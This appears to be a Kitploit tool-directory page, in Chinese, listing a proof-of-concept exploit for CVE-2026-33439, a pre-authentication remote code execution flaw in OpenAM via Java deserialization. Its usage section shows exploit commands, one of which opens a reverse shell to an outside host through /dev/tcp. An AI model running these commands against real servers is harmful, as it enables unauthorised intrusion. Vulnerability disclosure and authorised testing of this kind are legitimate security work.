Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33439-Poc — CVE-2026-33439 的 PoC，该漏洞是通过不安全的 Java 反序列化在 OpenAM 中实现的预认证 RCE。 | Kitploit
工具/GitHubGitHub/rh33t/cve-2026-33439-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubrh33t/cve-2026-33439-poc

CVE-2026-33439-Poc

CVE-2026-33439 的 PoC，该漏洞是通过不安全的 Java 反序列化在 OpenAM 中实现的预认证 RCE。

查看仓库
15小时17分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33439

OpenIdentityPlatform OpenAM 中通过 jato.clientSession 参数的不安全 Java 反序列化实现的预认证 RCE。受影响版本 <= 16.0.5，已在 16.0.6 中修复。

安全公告：https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj

用法

root@kitploit:~
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'

输出为盲注。请求会阻塞直到命令退出，因此可通过计时确认执行（--command 'sleep 5' 大约耗时 5 秒）。

仅限授权安全测试使用。

下载工具